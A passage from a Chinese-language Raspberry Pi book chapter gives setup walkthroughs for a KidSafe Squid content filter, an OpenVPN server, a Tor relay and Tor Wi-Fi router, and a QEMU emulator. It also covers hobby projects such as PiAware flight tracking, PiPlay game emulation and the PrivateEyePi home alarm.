9．如果没有用户名，使用sudo adduser proxy命令增加一个proxy用户。另外，使用命令sudo passwd proxy修改该用户的密码。再把这个用户名加到具有管理目录权限的小组里，执行命令sudo usermod -a -G www-data proxy。

10．执行sudo cd/opt切换到/opt目录。确保执行了cd命令后，就位于/opt目录下了。

11．接着，再下载个协助程序（helper application），以简化proxy和Squid的配置。请前往http://www.penguintutor.com/software/squid-kidsafe/0.2.0/kidsafe-squidapp-0.2.0.tgz 下载该程序。可以从命令行输入sudo wget http://www.penguintutor.com/software/squid-kidsafe/0.2.0/kidsafe-squidapp-0.2.0.tgz。确保此时位于/opt目录下。

检查当前使用和下载的是否最新版本的kidsafe程序。如果不是，请调整上述下载地址，下载最新版本程序；有很大的可能，最新版本和上面那个下载文件仅是版本号不一样。

12．使用sudo tar -zxvf kidsafe-squidapp-0.2.0.tgz命令解压文件。

13．用最习惯的编辑器修改/opt/kidsafe/kidsafe.squid3.inc文件。在最后一行里，把192.168.0.3改为实际的IP地址。

14．根据子网的实际情况，修改acl local_acl dst 192.168.0.0/16这句的网段设置。

15．还需要把Squid配置文件和KidSafe文件合并到一起。在Squid配置文件中 [5] ，输入include /opt/kidsafe/kidsafe.squid3.inc.

16．需要修改或调整若干文件的权限。输入以下命令：

 cd /opt/kidsafe

 sudo chown :www-data .

 sudo chmod 775 .

 sudo chown :proxy kidsafe.py

 sudo chmod 770 kidsafe.py

 sudo chown :www-data kidsafe.rules kidsafe.session

 sudo chmod 664 kidsafe.rules kidsafe.session

17．现在可以把KidSafe应用程序下载和安装到 /var/www目录。要下载KidSafe，输入sudo wget kidsafe-webapp0.2.0.tgz。确保当前在/var/www目录下。也请注意，你下载的版本也许与例子中用的并不一致。

18．使用以下命令解压文件。

 sudo tar -xvzf /home/pi/kidsafe-webapp-0.2.0.tgz

19．打开浏览器，访问 http://localhost/phpmyadmin/ 。点击Databases并选择创建新数据库Create New Database。输入数据库的名字为kidsafe。把数据库的类型设置为Local，如图6-15所示。

图6-15

20．Password密码设置成与kidsafe-config.php文件里所设的值一样。点击Save and apply the configuration。在数据库相关权限Database- specific privileges菜单中选择kidsafe数据库。对Privileges，只需要选择SELECT, INSERT, UPDATE, DELETE。对Grant权限, 选择No。对Table-specific privileges也选择No。

21．此时点击左侧标签页上的Databases按钮。再点击选择SQL标签页，复制和粘贴以下文件里的内容：http://www.penguintutor.com/software/squid-kidsafe/0.2.1/kidsafe-database.txt ，再执行其中的SQL命令创建数据库各表结构。

同文件的另一个地址为http://www.drchaos.com/wp-content/uploads/2014/11/kidsafe-database.txt 。

图6-16展示了phpMyAdmin页面。

图6-16

大家看到的页面内容也许与这里展示的很不一样，因为这里还运行了很多其他应用和数据库。

22．输入以下命令，修改日志文件的权限：

 cd /var/log/squid3

 sudo touch kidsafe.log

 sudo chown :www-data kidsafe.log

到这里设置完成了。可以访问http://localhost/kidsafe 配置规则、登录账号并完成其他设置。

关于如何使用Kidsafe的更详尽内容，可以参阅 http://www.penguintutor.com/linux/raspberrypi-kidsafe 。

图6-17展示了在KidSafe管理下，网站被阻止时看到的页面。

图6-17

不要手工管理需要禁止访问的网站。只需要从 http://www.squidguard.org/blacklists.html 下载免费的黑名单列表，即可获得已经分类好的各种网站的更新列表。

6.4.3　用OpenVPN做远程访问

虚拟专用网络（Virtual Private Network，VPN）是许多公司会使用的基本安全手段。VPN使用户能直接接入公司的远程网络，仿佛依然在公司内部一样，通过加密的方式，保护客户端和所接入网络之间的安全性。这种方式可以防范很多中间人攻击，并在离开了办公场所后也依然能保证办公效率。OpenVPN可以让树莓派变成VPN集中器，以很低的成本就能提供上述各种收益，而且还并不止于此。

下面介绍怎样通过以下步骤，将树莓派变成一个VPN集中器。

1．通过NOOBS或直接从Raspberry Pi网站下载，使用第1章中的步骤，安装最新版本的Raspbian映像。

2．建议在安装好后，首先执行升级步骤，按照第1章中规定的步骤执行apt-get update和apt-get upgrade。

3．因为这个解决方案是针对外网的，在开始配置OpenVPN前，强烈建议修改默认密码。

需要先通过sudo-i命令变成root用户，然后再执行update和upgrade命令。

4．在升级了Raspbian版本后，还需要确定一个在外网能访问到的IP地址，因为要通过它连接VPN。还需要选择一个用于连接的端口，如UDP流量使用1194端口。这样就需要在路由器和防火墙上设置一下1194端口的转发。可以选择不同的端口和协议，如TCP，这取决于用户认为在路由器和防火墙上开放什么端口合适。

5．在大多数系统上默认并未安装OpenVPN，所以需要先使用apt-get install openvpn来安装程序，如图6-18所示。

图6-18

6．接下来需要生成保护VPN服务器的密钥。要实现这个目的，会使用easy-rsa这个程序。以下操作需要root用户权限，所以在执行命令前先输入sudo-s，再使用以下命令把easy-rsa/2.0目录复制到openvpn目录下。

 cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa

这类证书比较适用于小型VPN的部署，但如果规模扩展了，就应该考虑使用OpenSSL生成Certificate Signing Request（CSR）请求，并让一个受信任的证书权威机构签发正式的证书。

7．然后执行cd /etc/openvpn/easy-rsa命令，进入easy-rsa目录。再执行ls，会看到一个叫vars的文件。需要编辑这个文件，所以输入nano vars。找到EASY_RSA这个变量，把它修改为export EASY_RSA="/etc/ openvpn/easy-rsa"。图6-19显示了该文件第13行需要做调整。

图6-19

8．如果对加密强度这事特别在意，可以将加密强度从1024位提高到2048位。只要找到这一行export KEY_SIZE=1024，把后面的数字修改为2048。做完后，按下Ctrl + X保存修改。

9．接着需要创建一个证书权威机构（Certificate Authority，CA）的证书和Root CA证书。树莓派就作为CA机构并对OpenVPN程序的密钥做签发。继续保持在easy-rsa目录下，输入source ./vars加载vars文档中的内容。输入./clean-all清除之前的密钥。

10．输入./build-ca先创建自己的CA中心。需要回答一系列程序提出的问题，如你在哪里、公司名称等。图6-20就是运行了前面这条命令后的第一个问题。

图6-20

11．当回答完最后一个问题，也就是邮件地址后，就可以给VPN服务器起个名字了，方法是执行./build-key-server [服务器名称]命令。再一次，还是得回答一些可选的问题。确保刚才设定的服务器名称设为Common Name字段的值，程序默认也会选择这个名字。碰到A challenge password一项则不要输入，留空即可。

12．此时会看到一条信息，说证书的签发有效期是3,650天，并需要再确认一下。输入yes（y），程序就会生成你的VPN服务器证书。

13．到这里服务器这边的事情做完了，接下来创建“客户端”也就是用户端的密钥。例如，为笔记本电脑创建一个密码。使用./build-key-pass [用户名]这条命令。在这个例子里，用户名叫laptop1。它还会提示你输入一个要记住的pass phrase（相当于密码）。按要求输入，再根据提示完成其他设置。确保A challenge password这一项留空。确认后执行证书签发，完成后会提示数据库已被更新。

14．执行cd keys命令，进入keys目录，并输入openssl rsa -in laptop1. key -des3 -out laptop1.3des.key。这样就会应用des3加密算法进行加密，也就是对每个数据区块执行3遍des加密算法。

15．这时候，就创建好服务器证书和客户端证书了。如果希望为其他设备也创建证书，可以重复以上的客户端证书步骤。完成后，执行cd /etc/openvpn/easy-rsa命令回到easy-rsa目录。然后输入./build-dh命令，创建Diffie-Hellman密钥交换。

可能会看到提示，说要先执行source vars，才能使用./build-dh命令。那请按提示先运行source vars再重新执行./build-dh命令。

整个进度所花的时间取决于所选的加密强度。如果在前面的设置里，加密强度被改为2048位，那需要的时间会更长些。如果按1024位来算，大概需要几分钟完成。

16．下一步是启用Denial of Service（DoS）拒绝服务攻击防护，方法是使用HMAC密钥（Hashbased Message Authentication Code，哈希运算消息认证码）。这种方式是树莓派在认证一个接入请求时，会先询问一个静态密钥。这会阻止攻击者发送随机重复的请求。使用openvpn –genkey -secret keys/ta.key命令来实现。

17．此时，已经产生了密钥并用CA对它们进行签发。现在要配置OpenVPN。需要一个.conf配置文件给OpenVPN设定可以接受从哪里过来的连接以及连接的类型。输入nano/etc/openvpn/server. conf。会在openvpn目录下打开一个空白文件。配置OpenVPN的内容如下:

在下面的内容里，有注释符号的地方，是需要根据自己的实际情况进行调整的，请输入自己的具体信息。

local 192.168.2.0 #

这里改为你的树莓派

IP

地址

dev tun

proto udp. #

使用的协议

port 1194

ca /etc/openvpn/easy-rsa/keys/ca.crt

cert /etc/openvpn/easy-rsa/keys/Server.crt #

指向你创建的证书文件名

key /etc/openvpn/easy-rsa/keys/Server.key #

指向你创建的密钥文件名

dh /etc/openvpn/easy-rsa/keys/dh1024.pem #

如果修改过加密强度，这里也需要调整

server 10.8.0.0 255.255.255.0

#

下面这行是设置服务器和远程端点

IP

ifconfig 10.8.0.1 10.8.0.2

#

为

OpenVPN

服务器增加一条到客户端路由表的设置

push "route 10.8.0.1 255.255.255.255"

#

为

OpenVPN

的子网络增加一条到客户端路由表的设置

push "route 10.8.0.0 255.255.255.0"

#

这是你的本地子网络

push "route 192.168.2.0 255.255.255.0" #

修改为树莓派的

IP

地址

#

设置路由器的主域名服务器地址

push "dhcp-option DNS 8.8.8.8"

push "redirect-gateway def1"

client-to-client

duplicate-cn

keepalive 10 120

tls-auth /etc/openvpn/easy-rsa/keys/ta.key 0

cipher AES-128-CBC

comp-lzo

user nobody

group nogroup

persist-key

persist-tun

status /var/log/openvpn-status.log 20

log /var/log/openvpn.log

verb 1

在完成修改后，按下Ctrl + X组合键保存。

18．下面要创建另一个文件来配置树莓派转发互联网流量。为此，需要先执行nano /etc/sysctl.conf命令编辑sysctl.conf文件。找到靠近文件开头位置里这一行# Uncomment the next line to enable packet forwarding for IPv4，去除在这行文字下一行的# net.ipv4.ip_forward=1前的#注释符。这是告诉树莓派转发互联网的流量而不是自己接收下来。按Ctrl + X组合键保存。

19．然后输入sysctl -p使设置生效。sysctl命令用于实时配置内核参数。

20．至此，与VPN相关的所有操作都完成了，但是树莓派的防火墙会拦截接入的连接，而且树莓派的防火墙在重启后会变回默认设置。这里需要创建一个脚本，确保树莓派记得放开OpenVPN的连接。执行nano /etc/firewall-openvpn-rules.sh命令打开一个空白文档。文档里输入以下内容。

 #!/bin/sh

 iptables -t nat -A POSTROUTING -s 10.0.2.0/24 -o eth0 -j SNAT

 --to-source 192.168.X.X.

21．上一行命令中10.0.2.0/24是树莓派的客户端地址，也就是允许的VPN客户端地址。还需要根据实际情况设置树莓派的IP地址（192.168.X.X处）。请注意这个脚本是设置eth0接口的，以它作为外网的接口。按下Ctrl + X组合键保存修改。

22．还需要将其改为可执行文件，通过修改/etc/firewall-openvpn-rules.sh文件的权限和属主。把权限改为700也就是只有属主才能读取、写入和执行，并把属主改为root。需要执行的命令如下。

 chmod 700 /etc/firewall-Openvpn-rules.sh

 chown root /etc/firewall-Openvpn-rules.sh

23．接着还需要把这个脚本放到网卡的设置代码里，这样在系统启动的时候这段脚本就会自动加载。它会在防火墙上打开一个洞，OpenVPN才能正常工作。输入nano /etc/network/interfaces，找到这一行：iface eth0 inet dhcp，再把pre-up /etc/firewall-openvpn-rules.sh这一行加到它的后面，再跟一行带缩进的空行。按下Ctrl + X保存修改。

24．执行sudo reboot重启树莓派。

恭喜，现在这个全功能的VPN集中器就配置好了。

现在使用以下步骤下载OpenVPN客户端并连接树莓派OpenVPN服务器。OpenVPN的客户端有多种不同的选择，我更喜欢来自SparkLabs的Viscosity。

1．访问 https://www.sparklabs.com/viscosity/ ，下载Viscosity客户端。

有许多种OpenVPN客户端，包括各种免费的选择。各种产品的使用方法和以下步骤大同小异。

图6-21显示的是Viscosity的Preferences窗口。

图6-21

2．安装好客户端后，需要新建一个连接。加入VPN服务器的IP地址，客户端才能知道要连哪个VPN服务器。所加的IP就是从外网访问树莓派的IP。图6-22显示了General标签页里的New Connection窗口。

图6-22

3．然后点击Authentication标签页。在第一个下拉列表里，选择PKCS12。有多种身份认证方式可选，还记得前面设置时生成的客户端证书吧，只需要简单地选择PKCS12证书并直接导入即可。

得再回到树莓派上导出客户端证书，这样才能在客户端这里导入。可以通过U盘或者发邮件的方式把客户端证书传过来。

图6-23显示了在Authentication标签页下的选项。

图6-23

4．点击Save保存设置，然后再右键点击刚才创建的连接，并选择Connect，如图6-24所示。

图6-24

至此就连上OpenVPN服务器了。

6.4.4　Tor中继和路由routers

Tor有时候也叫洋葱路由（onion routing），这套匿名访问系统通过庞大的志愿者节点及它们提供的路由和流量掩藏服务，来实现匿名访问互联网的效果。使用Tor在互联网上会难以追踪使用者的痕迹。如果不希望自己的流量数据被分析，隐私被侵犯，这是很理想的防范手段。关于Tor更详细的信息请见https://www.torproject.org/ 。

Tor中继的机制是随机选择中间途径的系统，以实现端点间通信的模式。各个端点通过特定的软件访问Tor网络，这个软件会将流量转发往Tor网络。图6-25所示为Tor网络中，两个端点用不同路径来回通信的示意图。

图6-25

可以将树莓派配置成一个Tor节点和路由器。Tor节点可以让网络里其他使用者的流量经过自身，所以节点是Tor网络的一部分，作用是帮助他人匿名地访问互联网。Tor路由器则是从内网接入到Tor网络时的接入点，这样通过Tor路由器上网，使用者的流量就会被随机分配到Tor网络里去。使用Tor路由器上网时，无需特殊的Tor软件就能使用Tor网络了，因为流量是通过Tor路由器进出的。

下面介绍怎样把树莓派变成一个Tor节点和路由器。

Raspberry Tor

可以把运行Kali Linux的树莓派变成一个Tor节点，这样也就参与到Tor项目中了。

运行Tor节点可能带来法律或道德方面的约束和要求。建议先研究一下这方面的内容，以完全理解其中的含义，再运行Tor。运行一个Tor节点，意味着匿名用户可以使用你的互联网连接，来做恶意或非法的事情。此外，随着丝路2.0的被关（Silk Road 2.0）和其他几起司法介入的抓捕行为，最近匿名的Tor网络也饱受质疑。

如果要用运行Kali Linux的树莓派加入Tor网络，需要执行以下步骤做一些清理工作。

1．首先，关闭运行在树莓派上额外的服务或应用。如果不确定，可以执行一次干净的安装，或使用Raspbian的发行版。

2．修改root密码。最少12位的字母数字组合。

3．再安装一个sudo软件包，并添加一个tor用户名。这样就不需要使用root用户了。另外，还需要更新已安装的软件：

apt-get install sudo

adduser tor

passwd tor

apt-get update

apt-get upgrade

4．还需要把tor账号加到拥有sudo权限的账号列表中。可以编辑 /etc/sudoers文件，输入sudo visudo命令并加入以下这行tor ALL=（ALL）ALL。

visudo命令是传统和最常见的编辑sudoers列表的方式。然而，在某些操作系统里，并没有这条命令。那样的话，可以执行vi /etc/sudoers命令，直接编辑sudoers文件了。

图6-26显示了编辑 /etc/sudoers文件时的情况。

图6-26

5．把Kali Linux默认的DHCP模式改为静态地址。技术上来说，DHCP地址也是可以保持不变的，但在这个设备上使用静态地址的可能性更大。输入ifconfig命令查看网络接口，可以看到图6-27显示的信息。把它记录下来。

图6-27

编辑网卡配置文件。使用vi，但也可以选择自己喜欢的编辑器。执行sudo vi /etc/network/interfaces命令。

找到与以下这行iface eth0 inet dhcp类似的地方，如图6-28所示。

图6-28

把这一行改成静态地址。在这个例子里，静态地址为10.0.1.167，子网掩码为255.255.255.0，默认网关为10.0.1.1，使用的命令如下。

iface eth0 inet static

address 10.0.1.167

<-

选择适用于自己的网络IP地址，这里仅是举例！
netmask 255.255.255.0

    <- 使用正确的网段掩码设置
network 10.0.1.0

    <- IP网络
broadcast 10.0.1.255

    <- 输入IP广播地址
gateway 10.0.1.1

    <- 输入路由器或默认网关地址

图6-29则显示了设置之后的结果。

图6-29

6．下面安装Tor。输入sudo apt-get install tor命令。编辑tor的配置文件/etc/tor/torrc，增加或修改和以下几行相关的配置。如果配置文件里还有其他配置行，也是正常的。

在配置文件里，增加或修改和以下若干行相关的指令：

 SocksPort 0

 Log notice file /var/log/tor/notices.log

 RunAsDaemon 1

 ORPort 9001

 DirPort 9030

 ExitPolicy reject *:*

 Nickname xxx (

请自行选择喜欢的名字)

 RelayBandwidthRate 100 KB #

阈值流量为100KB/s (

也就是800Kbps)

 RelayBandwidthBurst 200 KB #

但允许突发流量至200KB/s

 (

也就是1600Kbps)

输入sudo apt-get install tor命令后如图6-30所示。

图6-30

7．还需要确保树莓派的网络防火墙上开放了TCP协议的9030和9001端口，并确保从外网能访问到这些端口。所以也许还需要使用NAT（网络地址转换，Network Address Translate）为树莓派设定一个固定的NAT状态。如果你用的是家用路由器，在其上一般需要设置DMZ半军事区（Demilitarized Zone）或者做游戏端口映射。

8．重启系统。

9．在命令行方式下，执行sudo /etc/init.d/tor restart命令就可以启动Tor了。检查Tor的日志文件，确保服务已启动。Tor的日志文件在/var/log/tor/log目录下，可以通过less /var/log/tor/log命令查看日志文件。找到这一行Tor has successfully opened a circuit.Looks like client functionality is working，如果看到这一行，就代表Tor系统已经正确设置好了。

这个时候可以使用Tor客户端连上Tor网络进行测试。不同的操作系统上有不同的Tor客户端软件。以下是供参考的几个链接。

Windows: https://www.torproject.org/docs/tor-doc-windows.html.en

Linux/Unix/BSD: https://www.torproject.org/docs/tor-doc-unix.html.en

Debian/Ubuntu: https://www.torproject.org/docs/debian.html.en

Mac OS X: https://www.torproject.org/docs/tor-doc-osx.html.en

Android: https://www.torproject.org/docs/android.html.en

这时候就有了一个全功能的Tor中继节点和Tor客户端，可以接入Tor网络了。产品配置好后，除了在Tor终端上的一些基本信息和状态消息，其他就没什么需要特别关注的了。切换选择到终端的视图模式下，图6-31所示为能看到更多的流量和节点参与状态信息。

图6-31　Tor终端

Tor路由器

上一小节阐述了怎样把树莓派搭建成Tor节点。通过连接这个节点，使用者的流量就和Tor网络里的用户一样，完全变成匿名的了。但和Tor节点相连，通常需要使用特殊的软件。如果希望将自己的整个网络都和Tor网络相连，所有出去的流量都变成匿名的，要怎么办呢？可以把树莓派变成Tor路由器来实现这一功能。

例如，可以将树莓派接到外部路由器上，然后用树莓派的无线网卡广播一个私有的SSID，用户连接这个树莓派无线路由，这样流量就过滤到Tor网络上去了。如果想快速地设立一个无线热点，让所有用户的流量都使用Tor网络，这种方式非常理想。

下面介绍把树莓派配置成Tor路由器的步骤。

1．从http://www.raspberrypi.org/downloads/ 网站下载最新版本的Raspbian安装文件。在本书写成之际，最新版本为2014-09-09-wheezy- raspbian.img。下载后，需要先解压这个文件。

2．把Raspbian映像文件安装到用在树莓派上的SD卡（microSD）中。在第1章中已经介绍过具体过程。对下载的映像文件，执行以下命令。

 sudo dd if=~/Desktop/2014-09-09-wheezy-raspbian.img of=/dev/disk1

这个Tor路由器可以架设在各种Debain系统的Linux上。虽然我们更喜欢Kali Linux，但我们选择Raspbian的理由是，Kali Linux有很多服务如果没有关掉或者正确配置的话，有可能被攻击利用。

3．用安装在上面microSD上的Raspbian映像来启动树莓派。Raspbian的默认用户名和密码分别是：pi和raspberry。

4．登录图形界面桌面环境后，打开桌面的终端应用。输入sudo apt-get update和sudo　apt-get upgrade命令升级系统。

5．还需要安装DHCP服务器。下面这条命令执行的时候可能会出错，忽略即可。输入sudo apt-get install vim tor hostapd isc-dhcp-server命令。

6．用自己习惯的编辑器修改 /etc/dhcp/dhcpd.conf文件。打开/etc/default/ isc-dhcp-server文件并移至最后一行。编辑INTERFACES这一行为INTERFACES="wlan0"。确保在配置文件里，wlan0的两边有一对双引号。

7．还需要编辑wlan0网卡配置。使用习惯的编辑器修改/etc/network/ interfaces文件。移至wlan0段落，并给它设定一个静态IP地址。文件内容大致如下。

 iface wlan0 inet static

 address 10.99.99.1

 netmask 255.255.255.0

 allow-hotplug wlan0

 #iface wlan0 inet manual

 #wpa-roam /etc/wpa_supplicant/wpa_suppliant.conf

 #iface default inet dhcp

请留意这里注释掉了一些老的配置。这种做法比直接删掉不需要的配置更可取些，因为比较方便回退。

8．下一步，要配置树莓派的无线加密方式，这样无线网络才是安全的。需要先创建一个新的配置文件/etc/hostapd/hostapd.conf。

请确保hostapd执行程序支持你的无线网卡型号。如果两者不兼容，需要自行编译该可执行文件，否则无法使用无线安全。Adafruit提供了另一个版本的hostapd文件¹ ，可以支持更多芯片 [6] 型号。请在这里下载：http://www.adafruit.com/downloads/adafruit_hostapd.zip [7] 。

通过hostapd.conf配置文件，设置使用WPA2-PSK加密，将SSID设置为DrChaos，把无线的密码设为KaliRaspberry。当然这些设置可以随意改成需要的内容。方法是创建/etc/ hostapd/hostapd.conf配置文件，或者从http://www.adafruit.com/downloads/adafruit_hostapd.zip 下载一个样例文件并放到 /etc/hostapd目录下。这个文件的内容大致如下。

interface=wlan0

driver=rt2800usb

ssid=DrChaos

hw_mode=g

channel=6

macaddr_acl=0

auth_algs=1

ignore_broadcast_ssid=0

wpa=2

wpa_passphrase=KaliRaspberry

wpa_key_mgmt=WPA-PSK

DAEMON_CONF="/etc/hostapd/hostapd.conf"

请查看/sys/class/net/wlan0/device/driver/module/drivers目录，确认driver那一行应该写哪个驱动。

打开/etc/sysctl.conf配置文件，取消net.ipv4.ip_ forward=1这行前面的注释符，启用这行转发配置。

9．输入以下命令，启用IP转发。

echo 1 > /proc/sys/net/ipv4/ip_forward

10．在iptable里加入一些加入简单规则，实现NAT功能，并把我们的数据从无线网络路由到互联网。

请注意，以下 的iptable规则是非常宽松的。在某种情况下，这么设置可能会暴露客户端的真实IP地址。如果希望增加额外的安全防护，则跳过第16步 [8] （或把echo值从1改回0），并明确设定允许哪些连接。

用iptable执行如下命令。

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j

REDIRECT --to-ports 22

iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j

REDIRECT --to-ports 53

iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT

--to-ports 9040

iptables -A FORWARD -i eth0 -o wlan0 -m state --state

RELATED,ESTABLISHED -j ACCEPT

iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT

iptables-save > /etc/iptables.ipv4.nat

图6-32所示为iptable设定的路由生效了。

图6-32

11．再编辑Tor配置文件/etc/tor/torrc：

Log notice file /var/log/tor_notices.log

VirtualAddrNetwork 10.99.0.0/10

AutomapHostsSuffixes .onion,.exit

AutomapHostsOnResolve 1

TransPort 9040

TransListenAddress 10.99.99.1

DNSPort 53

DNSListenAddress 10.99.99.1

现在就可以接上有线网络，把树莓派连上互联网了。这时无线用户就可以使用密码KaliRaspberry连接SSID名为DrChaos的无线网络，所有的互联网流量就会走Tor网络了。

打开Web浏览器，访问https://check.torproject.org/ ，网页上会出现提示信息，如图6-33所示，告知当前是否正在使用Tor网络。

图6-33

6.5　在PC上用QEMU模拟器运行树莓派

读者可能也留意到了，本书内容里有各种图片和截图，所以在撰写本书时，要不断地在各种不同的操作系统之间切换、要截图、要测试不同的网卡和安装各种不同的软件程序。有时候需要从PC机上通过SSH连上树莓派，但有时候用的是X-Windows客户端。还有时候，甚至会用相机给屏幕拍张照，因为某些情况下没法对树莓派在屏幕上的输出做屏幕截图。再考虑到各种改动，那么QEMU这个工具就超级有价值。

Quick EMUlator（QEMU）是一款模拟器，它可以模拟在各种不同的芯片处理器上，加载各种不同操作系统的情况。用它来模拟树莓派使用的ARM处理器，就能像在真的树莓派上加载和运行不同的操作系统。当然模拟器并非十全十美，有时候，它会无法加载操作系统，又或者效率有问题，会崩溃和无法工作，等等，而在真正的树莓派硬件上，同样的情形可能却完全没问题。但实际上使用模拟器省下来的时间，还是会大于它产生的问题。

下面介绍模拟器的安装过程。

1．到http://qemu.weilnetz.de/ 下载Windows平台下的QEMU模拟器，如图6-34所示。

图6-34

另外QEMU还有Linux版本，以及用Homebrew和XTools运行的Mac OS X移植版，功能都一样。下面的例子只展示Windows版本。我们发现Windows版本最容易安装，Linux版本最可靠，而Mac版在安装和使用上都有点困难。当然每个人的感受可能会不一样。

2．先选择适用的版本（64位或32位） [9] 。下载了正确的版本后，执行安装文件install.exe。大多数情况下，在支持的模拟操作系统中，PC（i386）系统默认没有选上 [10] 。请确保这一项被勾选了。另外，请注意QEMU的默认安装目录，大多数情况下安装目录在C:\Program Files\qemu。不要擅自改动该目录设置。

3．如果没下载过树莓派适用的系统映像文件，这时候应该去下载一个。既可以选择Kali Linux的ARM平台映像文件，也可以选择其他任意兼容系统。这里打算用Raspbian操作系统，下载地址为http://www.raspberrypi.org/downloads/ 。

4．下一步，需要下载Linux QEMU内核文件。可以到http://xecdesign.com/downloads/linux-qemu/kernelqemu [11] 下载所需的内核文件。内核文件下载回来后请放到QEMU安装目录下。

5．把树莓派操作系统IMG映像文件解压后也放到QEMU同一目录下，接着就需要运行qemu了。先切换到DOS模式下，然后进入c:\Program Files\qemu目录。

6．执行以下命令行 [12] ，在QEMU里加载Raspbian映像文件（或加载其他版本的树莓派映像系统）。

qemu-system-armw.exe -kernel kernel-qemu -cpu arm1176 -m 256 -M

versatilepb -no-reboot -serial stdio -append "root=/dev/sda2

panic=1 rootfstype=ext4 rw init=/bin/bash" -hda raspbian.img

请注意qemu-system-armw.exe是用于图形环境的。其他环境则应使用qemu-system-arm.exe。qemu-system-arm.exe命令用于加载操作系统。加载操作系统映像文件时，要输入解压出来后放在QEMU同一目录下的正确的映像文件名。在执行命令后，QEMU可能需要好几分钟才能启动系统。有报道说QEMU在Windows 8/8.1和Mac OS X Yosemite（10.10）环境下工作不太正常。

7．QEME命令的前半部分设置模拟器要使用哪种处理器，后半部分指定要加载的映像文件名。请注意，这里把映像名字从2014-09-09-wheezy- raspbian.img改为raspbian.img，是为了执行qemu命令时能简化输入。在指定QEMU要加载哪个映像文件时，别忘了映像文件的后缀名。

如图6-35所示，树莓派操作系统（例子中用的是Raspbian）在QEMU窗口成功启动了。此时可以在这个操作系统进行交互，测试不同的应用和工具。另外，QEMU文档的高级配置章节里，还介绍了不同模拟器之间如何互联、如何与实体硬件设备进行映射和其他高级配置等内容。大多数情况下，模拟器的常用程序的可用性和连通性都非常不错。

图6-35　启动QEMU

6.6　其他树莓派应用

本书主要着眼于介绍树莓派在渗透测试中的应用。但除了用于渗透攻击，实际上它还有无数的使用场景，如攻击防护，或者较为不太正式的用法，如玩游戏。请前往树莓派大本营网站了解更多详情：http://www.raspberrypi.org/ 。

以下是在树莓派上适用的其他一些软件。

6.6.1　用PiAware做飞行跟踪

可以用树莓派和FlightAware（www.flightaware.com ）搭建一套ADS-B系统（广播式自动相关监视技术，Automatic Dependent Surveillance-Broadcast）。ADS-B是全球空管控制机构都在使用的一种相互协助式的飞行器监测技术，这套系统通过卫星和其他导航系统确定飞行器的位置。飞行器会定时广播自己的ADS-B位置，使得它们的位置得以被追踪到。

FlightAware自己拥有非常大量的飞行器位置接收设备，但也欢迎飞行爱好者一起监控各航线的数据，并协助FlightAware处理这些数据，这样，数据就可以在其网站上提供给感兴趣的人使用。PiAware能把树莓派变成一套雷达追踪系统，并把数据提供给FlightAware使用。图6-36展示了一套这种用法的树莓派。

图6-36

要启动该项目，需要先下载PiAware操作系统并安装在树莓派上。关于如何把操作系统安装到树莓派microSD卡上，请参考第1章的内容。从以下网址下载Piaware系统：http://piaware.flightcdn.com/piaware-sdcard-1.16.img.zip [13] 。

启动装有PiAware操作系统的树莓派后，就可以把ADS-B USB接收器插到树莓派上了。建议使用NooElec NESDR Mini USB RTL-SDR和ADS-B接收器套装，在美国购买这套设备大概需要22美金。图6-37展示了NooElec NESDR Mini套件。

图6-37

由于飞行器的信号无法穿透建筑，所以接收器的天线要放到室外，使飞行器能在视线直达范围内，以保证最佳效果。还需要在http://flightaware.com/account/join/?referer=/account/join/ 注册一个免费的FlightAware账号。FlightAware会在约30分钟后开始处理数据，查看数据的地址在 http://flightaware.com/adsb/stats 。

恭喜，这套系统可以正常工作了（见图6-38）！

图6-38　正常工作的飞行记录页面

6.6.2　PiPlay

虽然本书主要关注渗透测试和其他安全需求，然而我们希望多介绍一种很酷的ARM系统，使树莓派变成一套游戏平台。其中包括很多广受欢迎的游戏平台模拟器，包括PlayStation、Game Boy、Super Nintendo Entertainment System（SNES）、NES和Atari等。这套系统可以在以下地址下载：http://blog.sheasilverman.com/pimame-raspberry-pi-os-download/ [14] 。

安装PiPlay的步骤与Kali Linux类似。例如，用命令sudo dd if=piplay-0.8-beta6. img of=/dev/disk2把PiPlay 0.8 beta映像文件安装到microSD卡上，因为这块数据卡被识别为disk2分区。装完后，只要给树莓派通上电，启动安装好的PiPlay系统，就会自动启动到主图形界面下，如图6-39所示。

图6-39

点击箭头翻页，就会看到其他游戏平台的菜单选项和其他的配置选项。图6-40就是第2屏的内容。

图6-40

PiPlay启动后要做的第一件事就是升级。点击菜单里的大箭头，切换到第3屏，找到Update PiPlay选项。树莓派必须联网才能更新，因此在升级之前需要插入网线或者用Setup Wireless按钮建立无线连接。如果已经联网，在主菜单的右上角可以看到IP地址。图6-41为第3屏界面，能看出来我的PiPlay联网了，因为右上角显示有IP地址。而前一张截图在这个位置是No Network Connection。

图6-41

如果在界面里选择某个操作系统如SNES，会发现里面一个游戏也没有。但可以在互联网上找到各种ROM格式的游戏下载。

下载游戏的ROM或制作它们的备份，都有可能触犯版权或者违反法律。有各种各样来源的ROM，有的是作者提供的原创游戏，这种一般是免费或者只是象征性地收费。这些ROM一般发布在各种网站、usenet新闻组和P2P类型的网络里。

在PiPlay里安装ROM非常简单，只要使用内置的几个scraper程序来安装即可。基本套路是这样：下载一个ROM，使用scraper应用安装这个ROM，确认ROM已加入系统，就可以开始玩啦。图6-42展示了一个随PiPlay系统默认安装的名为Cave Story的游戏。

图6-42

6.6.3　PrivateEyePi

PrivateEyePi是一款家用自动化和安防系统的开源系统，可以实现运动检测、摄像头、热源检测、红外和夜视功能。它有一个很简单的可用Web界面做监控和管理，也可以用于自定义的手机应用。图6-43显示了一套家庭监控系统架构的详细描述。

图6-43

因为这个系统有各种不同的选项，可以弄得非常复杂，这里就不深入配置的细节了。名为Gadjet的作者把整个过程写成了文档，包括怎么购买相关部件及一步一步的安装向导，请参见http://www.projects.privateeyepi.com/home/home-alarm-system-project [15] 。

图6-44展示家庭监控系统的报警触发的过程。

图6-44

